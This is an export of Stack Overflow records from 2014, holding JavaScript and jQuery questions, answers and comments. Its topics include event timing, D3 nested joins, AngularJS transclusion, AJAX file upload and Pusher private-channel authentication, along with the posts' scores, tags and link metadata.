http://stackoverflow.com/q/25552605
type: Question
score: 0
answer count: 1
tagged with: javascript
has body: I currently have a generate button that executes when clicked. It then goes through a data base and takes a significant amount of time to load the results into a table. My line of code is used to sort the table. My problem is that I believe that the sorting is being run before the table is generated hence the table is not being sorted. I realized that when I place a break point at the sorting line and wait for the table to load, then the sorting occurs. It is just when I do not have a break point that the table is not being sorted. In turn I decided to use windows.onload function. But that did not help, I still received the same functionality as before. document.getElementById("button").click(); if(arrow == "up") { window.onload = function() { sort("col_one"); } } As you can see the button is being programmatically pressed then the sort is to happen. I am not sure how to go about fixing this. I am avoiding the use of jquery.
has answer: http://stackoverflow.com/a/25552953
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39900404
has title: How to wait for button to generate then execute next line of code

http://stackoverflow.com/q/25703842
type: AnsweredQuestion
tagged with: jquery
has comment: http://stackoverflow.com/comment/40177789
type: Question
has answer: http://stackoverflow.com/a/25704118
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40177753
tagged with: css
has title: Highlight Specific Button Upon Page Load
has comment: http://stackoverflow.com/comment/40177703
has comment: http://stackoverflow.com/comment/40178180
score: 0
possible better answer: http://stackoverflow.com/a/25704014
has answer: http://stackoverflow.com/a/25704168
has answer: http://stackoverflow.com/a/25704014
has comment: http://stackoverflow.com/comment/40177980
has body: I'm building a quiz app, and for a certain part of it I would like for some of the answers to be highlighted upon loading of the page. These are the buttons: <input type="hidden" name="correct_answer" value="<?php echo (isset($correct_answer)) ? $correct_answer : 'no corect answer';?>"> A B C D E You can see I'm loading a hidden element with the correct answer inside it. All the back end works just fine, But I can't seem to figure out how to do this. Is it possible to do this in native JS or is jQuery a must? Also, how do I go about doing this? How do I make sure the CSS class is added to the right element? EDIT: This is the code I ended up using:
tagged with: javascript
answer count: 3
has comment: http://stackoverflow.com/comment/40177826
accepted answer: http://stackoverflow.com/a/25704168

http://stackoverflow.com/q/25709805
downvote count: 1
answer count: 1
favorite count: 0
tagged with: ajax
has answer: http://stackoverflow.com/a/25709902
accepted answer: http://stackoverflow.com/a/25709902
has title: Attaching event handler to class
has body: So I followed this PHP academy tutorial on building JS AJAX files upload script This is index.php: Dokument bez tytułu Wyślij zdjęcia: Wysłane zdjęcia pojawią się w tym miejscu. and the js.php: var app = app || {}; (function(o) { "use strict"; // Prywatne metody var ajax, getFormData, setProgress; ajax = function(data) { var xmlhttp = new XMLHttpRequest(), uploaded; xmlhttp.addEventListener('readystatechange', function() { if(this.readyState === 4) { if(this.status === 200) { uploaded = JSON.parse(this.response); if(typeof o.options.finished === 'function') { o.options.finished(uploaded); } } else { if(typeof o.options.error === 'function') { o.options.error(); } } } }); xmlhttp.upload.addEventListener('progress', function(event) { var percent; if(event.lengthComputable === true) { percent = Math.round((event.loaded / event.total) * 100); setProgress(percent); } }); xmlhttp.open('post', o.options.processor); xmlhttp.send(data); }; getFormData = function(source) { var data = new FormData(), i; for(i = 0; i < source.length; i = i + 1) { data.append('file[]', source[i]); } data.append('ajax', true); return data; }; setProgress = function(value) { if(o.options.progressBar !== undefined) { o.options.progressBar.style.width = value ? value + '%' : 0; } if(o.options.progressText !== undefined) { o.options.progressText.innerText = value ? value + '%' : ''; } }; o.uploader = function(options) { o.options = options; if(o.options.files !== undefined) { ajax(getFormData(o.options.files.files)); } }; }(app)); Now the problem Im having. I wanted to create additional functionality that allow user to delete the file he just uploaded i.e. accidentally. My approach was to: append a button to each file with class delete and id being equal to name of the file after doing ajax post request unlink would delete file based on its name passed via id upon finished ajax request js script would delete file from page since i cannot attach click event listener to class (so i could say this.id) i…
type: AnsweredQuestion
upvote count: 0
type: Question
tagged with: javascript
score: -1
has comment: http://stackoverflow.com/comment/40188593

http://stackoverflow.com/a/25638858
type: AcceptedAnswer
downvote count: 0
score: 1
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25631860
has body: The only reason your code does not work is the order you are executing it. You need to connect the handler before triggering it: JSFiddle: http://jsfiddle.net/3y5hmyf0/1/ // Wire up event handler $('select[name="blah"]').change(function(){ alert('changed'); }); // Now generate the event $('select[name="blah"]').val(3).trigger('change'); Note: Your manual change trigger is still required as a change event must normally be triggered by user interaction. Setting the value is not enough.
accepted answer of: http://stackoverflow.com/q/25631860

http://stackoverflow.com/a/25711506
upvote count: 2
type: Answer
has body: When logging an object, the browser will choose how to render it in the console. This may be as primitive as calling .toString() on it, or as complex as giving you the ability to navigate its properties. Furthermore, the console is not a standard. Browsers may implement it however they like, although for convenience they will keep to a common style. Ultimately, however, this means they will be different. Internet Explorer: Google Chrome: Notice how I had to use console.dir() to force Chrome to give me a navigable view of the object, rather than its simple .toString() representation.
answers question: http://stackoverflow.com/q/25711436
score: 2
downvote count: 0

http://stackoverflow.com/comment/40016381
comment on: http://stackoverflow.com/q/25615061
type: Comment
type: QuestionComment
has text: No, my only concern is on how to pass parameter into my function. window['GetStatusDetails'] works well my only problem is how can I add parameters on my function name. thanks.
score: 0

http://stackoverflow.com/comment/40085509
type: AnswerComment
has text: What do you mean by "apparently works but does not load the content"? If you are not getting any errors, check the DOM to see if the markup actually loads. You can also try this: `<%= j (render 'myfolder/pit', pit: @pit) %>`
comment on: http://stackoverflow.com/a/25633810
type: Comment
score: 0

http://stackoverflow.com/comment/39945221
type: Comment
has text: I've updated the answer. But surely the tutorial you learned jQuery from has examples of using class selectors, doesn't it?
score: 1
comment on: http://stackoverflow.com/a/25576026
type: AnswerComment

http://stackoverflow.com/a/25598803
answers question: http://stackoverflow.com/q/25598762
has body: Removed my guess - missed your point about the callback being executed - it's likely the asynch problem offered by the other reply.
score: 0
type: Answer

http://stackoverflow.com/q/25599067
has answer: http://stackoverflow.com/a/25599142
tagged with: d3.js
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25599142
type: Question
linked to: http://stackoverflow.com/q/14438214
tagged with: javascript
tagged with: html-lists
has title: D3.js nested data joins on HTML lists and sub-lists
score: 0
tagged with: jquery-selectors
has body: This Fiddle http://jsfiddle.net/kaxjL3La/ shows my attempt to adapt the D3 general update pattern to using nested &lt;ul&gt;&lt;li&gt; HTML lists. I believe what complicates this situation is that I'm seeking to use the same tags in the outer and inner lists, unlike examples on the web with tr/td or g/circle. Explaining the fiddle in words: I want a list of numbers to be placed in an unordered list, with each number having a child list with some derived values: function update(arr) { var globalList = d3.select("#lst"); var data = globalList.selectAll("li").data(arr, function(d) { return d; }); data.exit().remove(); var list = data.enter().append('li').text( function(d, i) { return "[" + i + "]=" + d; }); var subList = list.selectAll("ul") .data(function(d) { return [ d / 10, d / 100 ]; }) .enter() .append("ul") .append("li") .text(function(d, i) { return "[" + i + "]=" + d; }); } The first update (creation step) works fine, but subsequent calls to update result in the sub-lists disappearing for the update elements (numbers that are the same between calls to update(), i.e., 30). If you add a console.log(data.exit()) before the remove() call, you see that the selectAll("li").data(...) call has matched the sub-lists, which will then be removed. If I omit the &lt;li&gt; tags in the sub-lists, and just have a sequence of &lt;ul&gt; tags, as in update2(), then I do not lose the sub-lists on update. This is the correct behavior as far as my data join and data-driven display is concerned, but it is not good HTML to have a sequence of &lt;ul&gt; tags containing my list elements! I only showed this to confirm that, if the sublists consisted of tags that weren't captured by selectAll(), I get correct behavior. My question is: how do I prevent D3's selectAll from recursing and finding all &lt;li&gt; descendants of the globalList selector so that I can use &lt;ul&gt;&lt;li&gt; tags in the sub-lists?
tagged with: http://stackoverflow.com/tag/html
answer count: 1

http://stackoverflow.com/comment/40030690
has text: You need to create an `iframe` if you want to display content from another html page. The `iframe` will be positioned at the bottom right of the page
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25623072
type: QuestionComment

http://stackoverflow.com/q/25670590
answer count: 1
has title: Click event not working with import of file using JQuery
has answer: http://stackoverflow.com/a/25670667
tagged with: jquery
has body: I have this example in a file called: navigation.html in a folder off the root called: IMPORTS The Book Cover About Books Blog Contact Then in the index page I have this: Title Goes here/title> And finally the JQuery that loads the div... // JQUery Fancy Box $(document).ready(function() { //Load Imports //Navigation $("#navBarMain").load("imports/navigation.html"); //This is the menu system $(function() { $('.nav a, .brand, a[data-target]').click(function() { //This is what's not working $('html, body').animate({ scrollTop: $($(this).attr('data-target')).offset().top - 50 }, 500); }); }); }); The problem is, when I place the "navigation.html" file BACK into the div on the index page, the menu at the top of page works. BUT, when I load the "navigation.html" page as is, the menu click event does nothing. I know there's a call that's wrong so if you could help, it would be greatly appreciated. OF NOTE: There are NO Javascript errors in the console even with breakpoints, nothing happens. The code LOADS initially and stops at the breakpoint, but when I click on the menu, nothing, nada, ziltch....
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25670667
type: Question
tagged with: javascript
score: 0

http://stackoverflow.com/comment/40073571
type: AnswerComment
comment on: http://stackoverflow.com/a/25646215
has text: -1: This code still has the recursion error (which is the actual problem): http://jsfiddle.net/TrueBlueAussie/zgub3838/9/ Please check the console output of your code. Sorry :(
type: Comment
score: 0

http://stackoverflow.com/comment/40394733
type: Comment
comment on: http://stackoverflow.com/a/25707667
type: AnswerComment
has text: Hi Stephen,need your help again.Here,**UpdateTargetId = @id**,in this part , the id will be dynamic everytime isnt it.Now my problem is that this div I need to update in some other page as well where I'm using ajax.actionlink again,and there in UpdateTargetId ,I need to pass this id.Since it is dynamic all the time,I'm sort of confused,how to do this.Can this be done using class..?
score: 0

http://stackoverflow.com/q/25664525
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40107304
has body: Related Questions, but no mention of my specific 'bug' - prototypes vs extending objects Advantages of using prototype, vs defining methods straight in the constructor? I have a performance issue I don't understand. I was creating a class with the ability to be both callable and have methods (similar to jQuery). I allowed an 'opt out' of the callable part, assuming that it would be slower to extend a function with methods than to use a prototype. This assumption is correct in the most basic case. However, when I actually timed my code and looked at the memory usage, I was surprised to discover the prototype approach being slower AND taking up more memory. After looking into it, it became clear that it was only less efficient when calling the 'init' method that binds a DOM element to 'this'. If you comment out the call to init (line 49 in the fiddle), the prototype method is much faster, as I would expect. jsfiddle here - http://jsfiddle.net/pnsfogem/1/ Edit: jsPerf laying out all of Bergi's suggestions below - http://jsperf.com/different-types-of-constructors-vs-extend After running these perfs, it does look like it's only in the version of Chrome I'm running.. and all of the code needed to replicate. var methods = { select: function(selector){ var $this = this; var scopedMethods = { newMethod1: function( newParam ){ $this.newMethod1( selector, newParam ); }, newMethod2: function( newParam ){ $this.newMethod2( selector, newParam ); } }; return scopedMethods; }, init: function(){ // console.log(this); // Looks correct for all 2000 elements this.$el = $( "&lt;div&gt;" ).appendTo( $("body") ); }, newMethod1: function( selector, newParam ){ // do stuff }, newMethod2: function( selector, newParam ){ // do stuff } }; function getConstructor( noQuery ){ var returnedInstance; if ( noQuery ){ var constructor = function(){}; constructor.prototype = methods; returnedInstance = new constructor(); // Usage: // var s = getConstructor( 'justPrototype' ); // s.newMethod1( '#whateve…
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40107188
linked to: http://stackoverflow.com/q/13060205
has comment: http://stackoverflow.com/comment/40107051
has answer: http://stackoverflow.com/a/25665574
has comment: http://stackoverflow.com/comment/40106943
tagged with: performance
linked to: http://stackoverflow.com/q/4508313
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40112699
type: Question
tagged with: javascript
tagged with: jquery
has title: Javascript prototype vs $.extend - memory conundrum
tagged with: prototype
tagged with: class
has comment: http://stackoverflow.com/comment/40112153

http://stackoverflow.com/a/25563264
type: Answer
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/25563201
answers question: http://stackoverflow.com/q/25563201
downvote count: 0
type: AcceptedAnswer
has body: Don't use eval. If you're inserting a JSON string into JavaScript, just insert it. var json = ${mappings}; No escaping needed, the string is already valid JavaScript. (And if you do ever need to parse JSON, please use JSON.parse() and not eval(). It slows down your code significantly.)

http://stackoverflow.com/comment/39976224
type: AnswerComment
type: Comment
has text: He's right about using a class. Also he provided a `document.ready` that will work with turbolinks. If you have turbolinks enabled then my solution won't work.
comment on: http://stackoverflow.com/a/25590824
score: 1

http://stackoverflow.com/a/25645003
answers question: http://stackoverflow.com/q/25644831
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/40070666
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40070424
has comment: http://stackoverflow.com/comment/40070321
has body: Use .append() in jQuery. Something like this: $("table tbody").append(" Row Content ");

http://stackoverflow.com/q/25651911
score: 2
answer count: 0
tagged with: google-chrome
type: Question
has comment: http://stackoverflow.com/comment/40111269
downvote count: 0
tagged with: javascript
has title: How do I track referrals from installations on the Chrome Web Store?
tagged with: google-chrome-extension
has body: I have an app in the chrome web store and I want to track what promotion drove each user who installed the application. For instance, did this user see my blog post and click through to the store from there or was it my facebook page? I'd like to do this on a per user basis and not an aggregate basis so I have the option to adjust the user experience/messaging based on where the user came from. Thanks a lot!
has comment: http://stackoverflow.com/comment/40110778
favorite count: 0
has comment: http://stackoverflow.com/comment/40121759
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40110682
has comment: http://stackoverflow.com/comment/48405507

http://stackoverflow.com/a/25593737
has comment: http://stackoverflow.com/comment/39977620
has body: Something like what you're doing is a common way to do it. Using: var that = this; or: var self = this; are common names to keep a hold of your original scope. Another option (which I prefer) is to bind the this object to the method you're calling so that you have access to it in the callback. That would look like this: this.firstMethod = function(firstParam) { ajaxFunc(firstParam, function(ajaxResult) { this.secondMethod(ajaxResult); }.bind(this)); }; Hope that helps.
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39977403
type: Answer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25593682
answers question: http://stackoverflow.com/q/25593682

http://stackoverflow.com/a/25704920
has comment: http://stackoverflow.com/comment/40181234
downvote count: 0
has comment: http://stackoverflow.com/comment/40181460
upvote count: 2
answers question: http://stackoverflow.com/q/25704428
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25704428
has comment: http://stackoverflow.com/comment/40181482
has body: You could rewrite this function: &lt;script&gt; var img = new Image(); img.setAttribute('height', 10); function myFunction() { var myDiv = document.getElementById("myDIV"); myDiv.style.transform = "translateY(-" + (this.height - 10) + "px)"; myDiv.style.WebkitTransform = "translateY(-" + (this.height - 10) + "px)"; myDiv.style.msTransform = "translateY(-" + (this.height - 10) + "px)"; img.src = 'http://www.google.com/intl/en_ALL/images/logo.gif'; } &lt;/script&gt; Or, since your question is tagged with the jQuery tag you could write it like this if you're using jQuery: &lt;script&gt; var img = new Image(); img.setAttribute('height', 10); function myFunction() { // jQuery should take care of the vendor prefixing of translateY for you $('#myDIV').css('transform', 'translateY(-' + (img.height - 10) + 'px)'); img.src = 'http://www.google.com/intl/en_ALL/images/logo.gif'; } $('button').click(myFunction); &lt;/script&gt;
type: Answer
score: 2

http://stackoverflow.com/q/25582386
type: Question
score: -2
has comment: http://stackoverflow.com/comment/39956458
tagged with: javascript
has comment: http://stackoverflow.com/comment/39956580
answer count: 3
upvote count: 0
tagged with: jquery
has body: i need to fetch table cell data,where the cell data is containing information that could be done using the language either javascript or jquery.that data i need to insert into mydatabase ex. mysql. Please help me out with this problem.
favorite count: 0
has answer: http://stackoverflow.com/a/25582554
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25582477
downvote count: 2
has title: Need to fetch table cell data without id or class using javascript or jquery
has answer: http://stackoverflow.com/a/69479940

http://stackoverflow.com/comment/40041038
comment on: http://stackoverflow.com/q/25556028
score: 1
type: Comment
type: QuestionComment
has text: **You have not asked a question in your OP**. What exactly is your question? The "transform" plugin _I think_ you're using has a big bold **NO LONGER MAINTAINED** message on its [GitHub page](https://github.com/heygrady/transform#no-longer-maintained). It just may not be compatible with the latest version of jQuery. [The "Curve" plugin](https://github.com/heygrady/curve) has not been touched since 2011 (jQuery 1.6.x). This is what can happen when you use really old plugins with newer versions of jQuery.

http://stackoverflow.com/q/25583311
has title: Div Not Floating Right Or Being inline with title
score: 0
answer count: 2
tagged with: http://stackoverflow.com/tag/html
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39958147
tagged with: php
tagged with: css
has comment: http://stackoverflow.com/comment/39958189
has body: I want it so that when all the input fields are filled, the button automatically enables again but i am finding it hard to do so. I am using php to check the fields and html to enable/disable the button <?php $required = array('FName', 'LName', 'Email', 'Subject', 'Comments'); $error = false; foreach($required as $field) { if (empty($_POST[$field])) { $error = true; } else{ $error = false; } } if ($error) { } else { } ?> Contact Us First Name: Last Name: Email: (?)Only For Verification Purposes Subject: Comments: <?php function check_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } ?>
type: Question
has answer: http://stackoverflow.com/a/25585594
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25583509

http://stackoverflow.com/a/25632825
has comment: http://stackoverflow.com/comment/40073319
score: 3
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25632807
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25632807
has comment: http://stackoverflow.com/comment/40072697
has body: The .indexOf() method compares as if it were using the === strict equality operator. No two distinct arrays are equal to each other under those conditions. When you use array (or, for that matter, object) literal expressions to create objects, you get distinct individual objects. The fact that one literal expression looks exactly like another doesn't mean they share identity.

cfml
tags question: http://stackoverflow.com/q/25707046
tag name: cfml
type: Tag

javascript
tags question: http://stackoverflow.com/q/25647131
tags question: http://stackoverflow.com/q/25661131
tags question: http://stackoverflow.com/q/25576155
tags question: http://stackoverflow.com/q/25586809
tags question: http://stackoverflow.com/q/25672476
tags question: http://stackoverflow.com/q/25552136
tags question: http://stackoverflow.com/q/25689409
tags question: http://stackoverflow.com/q/25603947
tags question: http://stackoverflow.com/q/25645310
tags question: http://stackoverflow.com/q/25556459
tags question: http://stackoverflow.com/q/25606986
tags question: http://stackoverflow.com/q/25622598
tags question: http://stackoverflow.com/q/25558278
tags question: http://stackoverflow.com/q/25657093
tags question: http://stackoverflow.com/q/25623682
tags question: http://stackoverflow.com/q/25626214
tags question: http://stackoverflow.com/q/25693567
tags question: http://stackoverflow.com/q/25614901
tags question: http://stackoverflow.com/q/25583706
tags question: http://stackoverflow.com/q/25609034
tags question: http://stackoverflow.com/q/25597563
tags question: http://stackoverflow.com/q/25684809
tags question: http://stackoverflow.com/q/25555480
tags question: http://stackoverflow.com/q/25697348
tags question: http://stackoverflow.com/q/25582350
tags question: http://stackoverflow.com/q/25577542
tags question: http://stackoverflow.com/q/25652071
tags question: http://stackoverflow.com/q/25702689
tags question: http://stackoverflow.com/q/25689481
tags question: http://stackoverflow.com/q/25572011
tags question: http://stackoverflow.com/q/25652413
tags question: http://stackoverflow.com/q/25673477
tags question: http://stackoverflow.com/q/25641607
tags question: http://stackoverflow.com/q/25639287
tags question: http://stackoverflow.com/q/25684934
tags question: http://stackoverflow.com/q/25584060
tags question: http://stackoverflow.com/q/25557220
tags question: http://stackoverflow.com/q/25570280
tags question: http://stackoverflow.com/q/25705316
tags question: http://stackoverflow.com/q/25685204
tags question: http://stackoverflow.com/q/25573634
tags question: http://stackoverflow.com/q/25618560
tags question: http://stackoverflow.com/q/25600386
tags question: http://stackoverflow.com/q/25574555
tags question: http://stackoverflow.com/q/25550983
tags question: http://stackoverflow.com/q/25651199
tags question: http://stackoverflow.com/q/25565013
tags question: http://stackoverflow.com/q/25568433
tags question: http://stackoverflow.com/q/25576982
tags question: http://stackoverflow.com/q/25674525
tags question: http://stackoverflow.com/q/25590952
tags question: http://stackoverflow.com/q/25631286
tags question: http://stackoverflow.com/q/25576554
tags question: http://stackoverflow.com/q/25673025
tags question: http://stackoverflow.com/q/25664590
tags question: http://stackoverflow.com/q/25675135
tags question: http://stackoverflow.com/q/25631559
tags question: http://stackoverflow.com/q/25702944
tags question: http://stackoverflow.com/q/25611700
tags question: http://stackoverflow.com/q/25567468
tags question: http://stackoverflow.com/q/25683274
tags question: http://stackoverflow.com/q/25678971
tags question: http://stackoverflow.com/q/25626724
tags question: http://stackoverflow.com/q/25687646
tags question: http://stackoverflow.com/q/25651946
tags question: http://stackoverflow.com/q/25668780
tags question: http://stackoverflow.com/q/25565541
tags question: http://stackoverflow.com/q/25675487
tags question: http://stackoverflow.com/q/25582569
tags question: http://stackoverflow.com/q/25690181
tags question: http://stackoverflow.com/q/25645073
tags question: http://stackoverflow.com/q/25552305
tags question: http://stackoverflow.com/q/25704257
tags question: http://stackoverflow.com/q/25552298
tags question: http://stackoverflow.com/q/25691246
tags question: http://stackoverflow.com/q/25596056
tags question: http://stackoverflow.com/q/25705781
tags question: http://stackoverflow.com/q/25659328
tags question: http://stackoverflow.com/q/25656743
tags question: http://stackoverflow.com/q/25603370

http://stackoverflow.com/a/25579770
has comment: http://stackoverflow.com/comment/39952124
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/25579706
has comment: http://stackoverflow.com/comment/39951863
downvote count: 0
has body: jQuery animate() can help here. The following code will move the image to a final left offset of 500px in 3s on page load. Be sure to specify the inital position in the CSS. $(document).ready(function(){ $('.move').animate({left:'500px'},3000); }); Note: jQuery is not the best javascript library to use when animating things. Try GSAP instead. greensock.com/gsap
type: Answer

http://stackoverflow.com/a/25606979
downvote count: 0
answers question: http://stackoverflow.com/q/25600496
has body: Try this: CKEDITOR.config.removePlugins='scayt,wsc' Or just remove spellchecker toolbar group from config.js.
type: Answer
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25600496
score: 3
type: AcceptedAnswer

http://stackoverflow.com/comment/40043422
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25629105
has text: Ok, how would I go about adding specific filterMap["displayName"] values? Like filterMap["displayName"][1];?
score: 0

http://stackoverflow.com/comment/40045944
has text: In my project, scrollTo was required as well, but sadly I could not get it to work. ALso, I contacted the #JS IRC channel of MDN,and failed to get any response. Why is it so tough to learn about basic JS functionality? How do the developers of JQuery learn about these things?
comment on: http://stackoverflow.com/q/25555216
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/39955394
comment on: http://stackoverflow.com/q/25581553
has text: What does not work with the script you tried? Can you post some example markup with some example `data-keywords`, and tell us which input you enter in `#marka` that yields unexpected results?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25641618
has answer: http://stackoverflow.com/a/27144559
answer count: 1
tagged with: angularjs
type: UnansweredQuestion
tagged with: angularjs-directive
score: 2
has comment: http://stackoverflow.com/comment/40064360
has body: I have a directive that transcludes the original content, parses it, and uses the information in the original content to help build the new content. The gist of it looks like this: .directive('list', function() { return { restrict: 'E', transclude: true, templateUrl: '...', scope: true, controller: function($scope, $element, $attrs, $transclude) { var items; $transclude(function(clone) { clone = Array.prototype.slice.call(clone); items = clone .filter(function(node) { return node.nodeType === 1; }) .map(function(node) { return { value: node.getAttribute('value') text: node.innerHTML }; }); }); // Do some stuff down here with the item information } } }); Then, I use it like this: bar qux This all works fine like this. The problem occurs when I try to use an ng-repeat inside the directive content, like this: {{ item.text }} When I try to do this, there are no items. Anyone know why this wouldn't work, or if there is a better way of accomplishing the same kind of thing?
downvote count: 0
type: Question
upvote count: 2
has title: AngularJS : transclude ng-repeat inside directive
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40064309
tagged with: angularjs-ng-transclude
linked to: http://stackoverflow.com/q/14388247

http://stackoverflow.com/a/25604621
has comment: http://stackoverflow.com/comment/39997332
answers question: http://stackoverflow.com/q/25604593
has comment: http://stackoverflow.com/comment/39997366
downvote count: 0
score: 1
has body: Array.prototype.map() may help you: console.log( array.map(function(c) { return c[1]; }) ); N.B.: Check the browser compatibility for this method and use a polyfill if required.
has comment: http://stackoverflow.com/comment/39997237
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39997234
has comment: http://stackoverflow.com/comment/39997216
type: Answer
accepted answer of: http://stackoverflow.com/q/25604593

http://stackoverflow.com/a/25601901
upvote count: 1
answers question: http://stackoverflow.com/q/25601727
downvote count: 0
type: Answer
has body: I would suggest using a shuffle function rather than selecting a random index from your array multiple times. NB. This assumes that the maximumAnswers value will always be &lt;= to answerList.length + 1 var answerList = ["answer 1", "answer 2", "answer 3", "answer 4", "answer 5"]; var correctAnswer = "CORRECT!"; var selectedAnswers = []; var maximumAnswers = 4; function generateAnswers() { var tempAnswerList = shuffle(answerList); // lets create a clone of the answerList so we dont effect the original, and shuffle it tempAnswerList = tempAnswerList.slice(0, maximumAnswers - 1); // - 1 cos we will be adding the correct answer tempAnswerList.push(correctAnswer); // add correct answer to the tempAnswerList = shuffle(tempAnswerList); // shuffle again so our correct answer isnt always last console.log(tempAnswerList); } // from http://stackoverflow.com/questions/6274339/how-can-i-shuffle-an-array-in-javascript function shuffle(o){ //v1.0 for(var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x); return o; }; generateAnswers(); JSFIDDLE DEMO
score: 1

http://stackoverflow.com/comment/39970071
type: AnswerComment
score: 0
type: Comment
has text: sorry, you are right, something is wrong with template (too complicated ejs) :/
comment on: http://stackoverflow.com/a/25580480

http://stackoverflow.com/a/25584941
accepted answer of: http://stackoverflow.com/q/25584432
answers question: http://stackoverflow.com/q/25584432
has comment: http://stackoverflow.com/comment/39961854
type: Answer
has comment: http://stackoverflow.com/comment/39961391
has comment: http://stackoverflow.com/comment/39961834
score: 0
has body: You're using app.use('/:comment.title', show) and then router.get('/:comment.title', function(req, res) You'll want to change one of these routes to just / since this is saying use the route /:comment.title/:comment.title You will probably also run into an issue with having the .title. This will work if you intend on having a route like /SomeTitle.title otherwise you may want to change it to /:title so /SomeTitle will work. I'm only speculating on your intentions for this. It's possible this is the way you intended it work.
has comment: http://stackoverflow.com/comment/39961490
type: AcceptedAnswer

http://stackoverflow.com/comment/39915717
score: 0
type: Comment
type: QuestionComment
has text: Put the code in the question, please
comment on: http://stackoverflow.com/q/25560274

http://stackoverflow.com/q/25599865
type: Question
has title: How to call multiple functions on body onunload using javascript?
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25599893
answer count: 3
tagged with: asp.net
has body: I am trying to call two functions in body onunload event but didn't work. Below is the first function that I am calling.. function closePopUps() { if(childPops.length == 0) return; for(i=0; i&lt;childPops.length; i++) { childPops[i].close(); } } Then the second function... function updateStatus() { PageMethods.UPDATE_STATUS(); } I called them like this... &lt;body onunload="closePopUps();updateStatus();"&gt; But the second function doesn't work. It still didn't work whenever I tried to call only the updateStatus() function.
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25600018
has answer: http://stackoverflow.com/a/25599892

http://stackoverflow.com/comment/40191786
has text: I'd still pass the callback directly, and then just add arguments for other stuff, something like `doSomething(object, function() { //callback })`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25711462
score: 0

http://stackoverflow.com/a/25603976
downvote count: 0
type: Answer
upvote count: 13
accepted answer of: http://stackoverflow.com/q/25603370
answers question: http://stackoverflow.com/q/25603370
score: 13
type: AcceptedAnswer
has body: I found the issue. Actually the problem was, somehow i got jquery included 2 times in the page - the 2nd time in the footer, that is why I did't find our earlier. Jquery needs to be only 1 time in the page, and it needs to be in the header.

http://stackoverflow.com/q/25586697
tagged with: pusher
tagged with: javascript
upvote count: 3
answer count: 1
favorite count: 0
tagged with: ajax
tagged with: node.js
has body: I'm trying to establish a private channel using Pusher on a local node.js server. For some reason, I can't get my auth endpoint to play nice and I keep getting a 404 error. At first I thought it was an issue with how I was defining my endpoint in relation to the location of the local server, but I don't think that's a problem. More likely, my noobiness with server-client-api communication means I'm missing some big piece. I've looked through the authentication docs on Pusher and literally every SO thread I could find, but to no avail. I've got Node installed and the server running, and Pusher recognizes that a connection is made, I'm just failing at the authentication. Any help at all would be mightily appreciated. Here's the client-side JS that is called when a button is clicked over at index.html: In client.js: function startGame(){ var nameinput = prompt("Give your game a name","My Game"); if (nameinput !== null) { var initialsinput = prompt("What are your initials?", "MG"); if (initialsinput !== null) { var pusher = new Pusher(key); Pusher.channel_auth_endpoint = 'http://localhost:8080/pusher/auth.js'; var channel = pusher.subscribe("private-"+gamename); joined = 'client-opponent_joined'+gamename; channel.bind('client-opponent_joined'+gamename, function(data) { OnLikeDonkeyKong(data.nameinput,data.initialsinput); }); } else {alert("I need your initials.");} } else {alert ("I need a game name.");} } Then, over in /pusher/auth.js: var express = require( 'express' ); var Pusher = require( 'pusher' ); var app = express( express.logger() ); app.use( express.bodyParser() ); var pusher = new Pusher( { appId: 'xxx', key: 'xxx', secret: 'xxx' } ); app.post( '/pusher/auth.js', function( req, res ) { var socketId = req.body.socket_id; var channel = req.body.channel_name; var auth = pusher.authenticate( socketId, channel ); res.send( auth ); } ); var port = process.env.PORT || 8080; app.listen( port ); Finally, here's the error I'm getting: POST http://localhost:8080/pusher…
downvote count: 0
has comment: http://stackoverflow.com/comment/39964791
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39985037
has comment: http://stackoverflow.com/comment/40150425
type: Question
score: 3
has answer: http://stackoverflow.com/a/37430886
has title: POST pusher/auth 404 (Not Found)

http://stackoverflow.com/comment/40005684
has text: Sorry, have i missed something? whats the label doing?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25609327
score: 0

http://stackoverflow.com/comment/40172671
comment on: http://stackoverflow.com/a/25701049
has text: It does indeed. Every js file appears after. There is an option to put them in the , I'll try it to see if i can't place scripts in the pjax containter then.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25578728
has comment: http://stackoverflow.com/comment/39950014
has answer: http://stackoverflow.com/a/25578848
has answer: http://stackoverflow.com/a/45725421
has answer: http://stackoverflow.com/a/25578965
has answer: http://stackoverflow.com/a/25581873
